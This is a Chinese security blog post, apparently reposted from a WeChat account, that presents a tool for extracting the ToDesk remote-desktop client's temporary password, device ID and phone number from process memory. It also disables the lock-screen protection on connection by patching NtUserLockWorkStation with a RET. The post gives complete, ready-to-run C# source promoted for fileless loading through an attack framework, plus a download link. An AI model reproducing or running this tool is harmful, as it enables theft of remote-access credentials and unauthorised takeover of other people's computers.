【工具推荐】通过内存获取todesk密码与解除锁屏限制

admin 2025年4月25日17:05:11评论5 views字数 7000阅读23分20秒阅读模式

前言

看了一些公众号的知X星球,发的都是dump之后下载文件到本地搜索特征获取的密码。那既然都是在内存里面,我们就直接用内存搜索的办法定位到对应的位置直接取出来,这不是更加简单快捷吗?还省去了下载的步骤。。。

【工具推荐】通过内存获取todesk密码与解除锁屏限制

 

查找密码实战

1、搜索

打开CE,搜索字符串,可以看到有两条动态地址存放。【工具推荐】通过内存获取todesk密码与解除锁屏限制

进一步确认是哪个地址,我们修改一下这个临时密码,发现只有一个地址记录了当前的临时密码,所以选择它。【工具推荐】通过内存获取todesk密码与解除锁屏限制

2、定位

我们确定了动态地址,这个动态地址在下次使用的时候肯定是会变的,所以我们需要找到静态地址。这里推荐使用指针的方式会比较好找。

【工具推荐】通过内存获取todesk密码与解除锁屏限制

直接点击确认,然后将缓存保存到某个地方即可,后续不用可直接删掉!【工具推荐】通过内存获取todesk密码与解除锁屏限制

【工具推荐】通过内存获取todesk密码与解除锁屏限制

扫描结束之后,会有非常多的指针,我们进行二次排除,结束掉当前todesk进程,重新打开,再重复一下【搜索】的操作。获取到新进程的最新地址之后,重新进入到扫描器中,填入最新的地址,进行筛选。【工具推荐】通过内存获取todesk密码与解除锁屏限制

【工具推荐】通过内存获取todesk密码与解除锁屏限制
【工具推荐】通过内存获取todesk密码与解除锁屏限制
【工具推荐】通过内存获取todesk密码与解除锁屏限制

3、分析数据

在上面两步骤的操作中,我们已经将指针范围缩小了,最后选择合适的指针使用即可。 在这里我选择[[ToDesk.exe+2277EB0] + 0X190]这个指针。

分析一下数据结构:

0x190 => 密码

0x290 => ID

0x490 => 手机号

0x510 => 版本号【工具推荐】通过内存获取todesk密码与解除锁屏限制

4、特征码(非必看)

该步骤可以不看,这是为了后续方便更新,遇到新版本[[ToDesk.exe+2277EB0] + 0X190]这个地址会失效,所以我们需要特征码来定位[ToDesk.exe+2277EB0]。这样我们根据特征码来定位,只要todesk不进行大版本修改,这个特征码就可以一直获取到准确的基址。从而实现版本更新但工具不用更新的效果! 选择这个地址,然后F5,下断点查看谁访问了这个地址。

【工具推荐】通过内存获取todesk密码与解除锁屏限制

前方的路一片光明,直接就是静态地址的位置了。

【工具推荐】通过内存获取todesk密码与解除锁屏限制
#这是之前手动追的,所以跟文章中不太一样,提供的代码也是使用这个特征码
E8 ?? ?? ?? ?? 90 48 8B 0D ?? ?? ?? ?? 48 83 B9 ?? ?? ?? ?? 00

突破锁屏实战

1、查看导入表

我们发现在打开这个功能的时候,每次连接都会锁屏,导致需要输入锁屏密码才可以使用!

【工具推荐】通过内存获取todesk密码与解除锁屏限制

锁屏联想到一个API:LockWorkStation,如果todesk使用这个函数进行锁屏的话,那么他肯定需要调用这个函数,我们直接把他ret之后,这样可以直接跳过这个锁屏。验证过程就不发了,就是下一个断点的事情。【工具推荐】通过内存获取todesk密码与解除锁屏限制

【工具推荐】通过内存获取todesk密码与解除锁屏限制

【工具推荐】通过内存获取todesk密码与解除锁屏限制

最终调用的是:win32u.NtUserLockWorkStation,我们直接或者这个地址,然后写一个ret即可。详细效果以及实现过程会在下方贴出源码。

 

代码实战

代码解读

1、定位进程并扫描内存,根据特征码查找数据结构地址。

2、读取特定偏移,提取如版本号、ID、密码、手机号等信息。

3、修改NtUserLockWorkStation,通过 WriteProcessMemory 写入 RET (0xC3) 指令实现阻止锁屏。

4、代码使用c#编写,方便大家使用CS直接加载!文件不落地,方便快捷。

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class SimpleModuleBaseFinder
{
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll")]
    static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
        byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
    
    const int tableWidth = 40;
    const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    static void Main(string[] args)
    {
        string moduleName = "todesk.exe";
        Process[] processes = Process.GetProcessesByName(moduleName.Replace(".exe", ""));
        if (processes.Length == 0)
        {
            Console.WriteLine("The process was not found.");
            return;
        }

        foreach (var pid in processes)
        {
            try
            {
                Process targetProcess = Process.GetProcessById(pid.Id);
                foreach (ProcessModule module in targetProcess.Modules)
                {
                    if (module.ModuleName.ToLower() == moduleName)
                    {
                        IntPtr baseAddr = module.BaseAddress;
                        int moduleSize = module.ModuleMemorySize;

                        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid.Id);
                        if (hProcess == IntPtr.Zero)
                        {
                            return;
                        }

                        byte[] buffer = new byte[moduleSize];
                        ReadProcessMemory(hProcess, baseAddr, buffer, moduleSize, out int bytesRead);

                        string pattern = "E8 ?? ?? ?? ?? 90 48 8B 0D ?? ?? ?? ?? 48 83 B9 ?? ?? ?? ?? 00";
                        var patternBytes = ParsePattern(pattern, out bool[] mask);

                        for (int i = 0; i < buffer.Length - patternBytes.Length; i++)
                        {
                            bool matched = true;
                            for (int j = 0; j < patternBytes.Length; j++)
                            {
                                if (!mask[j]) continue;
                                if (buffer[i + j] != patternBytes[j])
                                {
                                    matched = false;
                                    break;
                                }
                            }
                            if (matched)
                            {
                                /*
                                 7FF7C3A6E8DE - E8 0DBAD8FF           - call ToDesk.zuler::VideoFrameItf::hasUpdateRect+8570   #u5b9au4f4du5230u8fd9u4e2au4f4du7f6e
                                 7FF7C3A6E8E3 - 90                    - nop 
                                 7FF7C3A6E8E4 - 48 8B 0D C595E901     - mov rcx,[7FF7C5907EB0] { (97ECFCC30) }
                                */

                                long offsetAddr = baseAddr.ToInt64() + i;
                                byte[] offsetBytes = new byte[13];
                                ReadProcessMemory(hProcess, (IntPtr)offsetAddr, offsetBytes, offsetBytes.Length, out int _);

                                int offset = BitConverter.ToInt32(offsetBytes, offsetBytes.Length - 4);
                                long targetAddr = baseAddr.ToInt64() + i + offsetBytes.Length + offset;

                                
                                long value = ReadInt64(hProcess, (IntPtr)targetAddr);

                                string password = ReadAsciiString(hProcess, value + 0x190, 16);
                                string id = ReadAsciiString(hProcess, value + 0x290, 16);
                                string phone = ReadAsciiString(hProcess, value + 0x490, 16);
                                string version = ReadAsciiString(hProcess, value + 0x510, 16);


                                PrintLine();
                                PrintRow("VERSION", version);
                                PrintLine();
                                PrintRow("ID", id);
                                PrintLine();
                                PrintRow("PASSWD", password);
                                PrintLine();
                                PrintRow("IPHONE", phone);
                                PrintLine();
                                PrintRow("LockWork", WriteLock(hProcess).ToString());
                                PrintLine();



                            }
                        }
                    }
                }
            }
            catch (Exception)
            {
                continue;
            }
        }
    }

    static byte[] ParsePattern(string pattern, out bool[] mask)
    {
        string[] tokens = pattern.Split(' ');
        byte[] bytes = new byte[tokens.Length];
        mask = new bool[tokens.Length];

        for (int i = 0; i < tokens.Length; i++)
        {
            if (tokens[i] == "??")
            {
                bytes[i] = 0x00;
                mask[i] = false;
            }
            else
            {
                bytes[i] = Convert.ToByte(tokens[i], 16);
                mask[i] = true;
            }
        }
        return bytes;
    }

    static long ReadInt64(IntPtr hProcess, IntPtr address)
    {
        byte[] buffer = new byte[8];
        ReadProcessMemory(hProcess, address, buffer, buffer.Length, out _);
        return BitConverter.ToInt64(buffer, 0);
    }

    static string ReadAsciiString(IntPtr hProcess, long address, int length)
    {
        byte[] buffer = new byte[length];
        ReadProcessMemory(hProcess, (IntPtr)address, buffer, buffer.Length, out _);
        return System.Text.Encoding.ASCII.GetString(buffer).Split('�')[0];
    }

    static void PrintLine() => Console.WriteLine(new string('-', tableWidth));
    static void PrintRow(string label, string value) => Console.WriteLine($"| {label,-10} | {value,-23} |");

    static bool WriteLock(IntPtr hProcess)
    {
        IntPtr hWin32u = LoadLibrary("win32u.dll");
        if (hWin32u == IntPtr.Zero)
        {
            returnfalse;
        }

        // 获取 NtUserLockWorkStation 地址
        IntPtr addrNtUserLock = GetProcAddress(hWin32u, "NtUserLockWorkStation");
        if (addrNtUserLock == IntPtr.Zero)
        {
            returnfalse;
        }

        // 修改内存保护
        VirtualProtectEx(hProcess, addrNtUserLock, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out uint oldProtect);

        // 写入 0xC3 (RET)
        byte[] patch = { 0xC3 };
        bool flag = WriteProcessMemory(hProcess, addrNtUserLock, patch, patch.Length, out IntPtr writelen);

        VirtualProtectEx(hProcess, addrNtUserLock, (UIntPtr)1, oldProtect, out uint _);

        return flag;
    }
}

效果演示

 

获取方式

通过网盘分享的文件:todesk.zip
链接: https://pan.baidu.com/s/10r4eMJK2CwiZ8qCosrmWBw?pwd=dd9f 提取码: dd9f

 

原文始发于微信公众号(零攻防):【工具推荐】通过内存获取todesk密码与解除锁屏限制

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月25日17:05:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【工具推荐】通过内存获取todesk密码与解除锁屏限制http://cn-sec.com/archives/4000782.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息